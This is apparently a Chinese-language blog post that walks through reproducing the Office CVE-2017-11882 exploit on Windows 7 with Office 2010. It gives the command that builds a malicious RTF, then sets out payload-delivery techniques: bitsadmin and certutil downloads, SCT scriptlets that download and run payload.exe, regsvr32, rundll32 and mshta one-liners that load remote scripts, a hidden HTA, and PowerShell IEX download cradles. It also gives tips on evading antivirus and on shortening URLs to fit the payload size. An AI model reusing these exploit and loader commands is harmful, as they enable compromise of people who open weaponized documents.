Office CVE-2017-11882 复现

漏洞原理移步 FreeBuf.

环境 Windows 7, Office 2010.

unamer/CVE-2017-11882

Ridter/CVE-2017-11882

以前者为例.

生成文档.

1
CVE-2017-11882.py -c calc.exe -t 1 -o test.rtf

打开文档.

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/20190803160354.png

成功执行, 且无其它警告框.

这是一个缓冲区溢出漏洞, 这种类型的漏洞一般限制了 Payload 的长度 (具体原因不再说明, 也没有能力说明). 对于功能比较齐全的 Payload 或是 RAT 基本上都会超出这个长度. 一般有两种缩小的方法, 使用 ShellCode 或是远程加载.

上文中的利用脚本已经集成 ShellCode 注入的功能, 不过我并不太推荐, 一是不能灵活的更改要执行的 Payload, 二是向进程注入 ShellCode 的操作极易被杀软拦截.

仅对远程加载进行说明. 之前我也写过关于远程下载的文章, 不过存在几个问题: 1. 偏向于文件 “下载” 而不是执行 2. 功能单一且拓展性差 3. 隐蔽性差.

针对这些问题, 进行远程加载的程序必须符合以下几点: 1. 易于更改 2. 拓展性强 3. 隐蔽性好 4. 尽量不落地执行.

这是仅适用于特殊情况必须文件落地而提供的方式.

bitsadmin 只适用于 Windows 7 及以上版本.

1
bitsadmin /transfer get http://192.168.1.1/payload.exe C:\Windows\Temp\payload.exe

certutil 需要删除缓存 (%USERPROFILE%\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content).

1
2
certutil -urlcache -split -f http://192.168.1.1/payload.exe C:\Windows\Temp\payload.exe
certutil -urlcache -split -f http://192.168.1.100/payload.exe C:\Windows\Temp\payload.exe delete

把这些放在一起讲主要是因为它们都能够远程加载 sct.

命令执行.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
<?XML version="1.0"?>
<scriptlet>
<registration
    description="fjzmpcjvqp"
    progid="fjzmpcjvqp"
    version="1.00"
    classid="{204774CF-D251-4F02-855B-2BE70585184B}"
    remotable="true"
	>
<script language="JScript">
<![CDATA[
	var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
]]>
</script>
</registration>
</scriptlet>

下载执行.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?XML version="1.0"?>
<scriptlet>
<registration
    description="Bandit"
    progid="Bandit"
    version="1.00"
    classid="{AAAA1111-0000-0000-0000-0000FEEDACDC}"
    remotable="true"
	>
<script language="VBScript">
<![CDATA[
	Const adTypeBinary = 1
	Const adSaveCreateOverWrite = 2
	Dim http,ado
	Set http = CreateObject("Msxml2.ServerXMLHTTP.6.0")
	http.SetOption 2, 13056
	http.open "GET","https://192.168.1.1/payload.exe",False
	http.send
	Set ado = createobject("Adodb.Stream")
	ado.Type = adTypeBinary
	ado.Open
	ado.Write http.responseBody
	ado.SaveToFile "c:\windows\temp\payload.exe"
	ado.Close
	CreateObject("WScript.Shell").Run "c:\windows\temp\payload.exe",0,true 
]]>
</script>
</registration>
</scriptlet>

在 regsvr32 中执行的时候要把 script 标签放在 registration 标签内才能成功执行, 而 CVE-2017-8570 恰好相反.

命令后面的 scrobj.dll 可能会被误以为这是保存的文件名, 但实际上它是被 regsvr32 调用的 DLL 名称, 以此来执行 sct 中的命令的.

1
regsvr32 /u /s /n /i:http://192.168.1.1/cmd.sct scrobj.dll

在 rundll32 中执行的时候要把 script 标签放在 registration 标签外才能成功执行, 与 regsvr32 恰好相反.

另外注意 RunHTMLApplication 的后面有一个空格.

1
rundll32 javascript:"\..\mshtml,RunHTMLApplication ";o=GetObject("script:http://192.168.1.1/cmd.sct");window.close();

mshta 中 sct 的标签位置与 rundll32 相同.

1
mshta vbscript:Close(Execute("GetObject(""script:http://192.168.1.1/cmd.sct"")"))

与上文执行 sct 不同, 这里执行的是 hta 中的代码.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
<HTML> 
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<HEAD> 
<script language="VBScript">
Window.ReSizeTo 0, 0
Window.moveTo -2000,-2000
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "calc.exe"
self.close
</script>
<body>
</body>
</HEAD> 
</HTML> 

使用这种 Payload 格式执行命令无须担心 hta 窗口的问题.

至于下载执行的方法就不贴出来了, 自己尝试吧.

1
mshta http://192.168.1.1/cmd.hta

PowerShell 想必大家都不陌生了吧.

有两种执行方式, 一种是远程加载 PowerShell 的代码来执行, 另一种是直接下载 exe 来执行.

1
IEX (New-Object System.Net.WebClient).DownloadString('http://192.168.1.1/psh-reflection.ps1')
1
(New-Object System.Net.WebClient).DownloadFile('http://192.168.1.1/payload.exe','C:\Windows\Temp\payload.exe')

也能够通过缩小 URL 的方式来缩小 Payload 的长度, 例如各大厂商的短网址缩小.

需要考虑这几个问题: 1. 是否有时间限制 2. 是否是 302 跳转而不是通过 HTML 跳转 3. 在某些地区是否能成功访问.

就不细说了.

生成的文档是 rtf 格式的, 虽然更改为 doc 格式能成功执行, 但如果直接编辑内容, 漏洞会执行失败. 所以必须通过 rtf 合并来自定义内容, 在 CVE-2017-8570 中我提供了具体的步骤, 当然利用脚本中的合成方式也是可以成功的, 只是思路不同罢了.

另外针对之前的改进补充一句话, 对 rtf 中的内容进行编辑保存之后, 原有的 objupdate 会失效, 需要手动再次添加.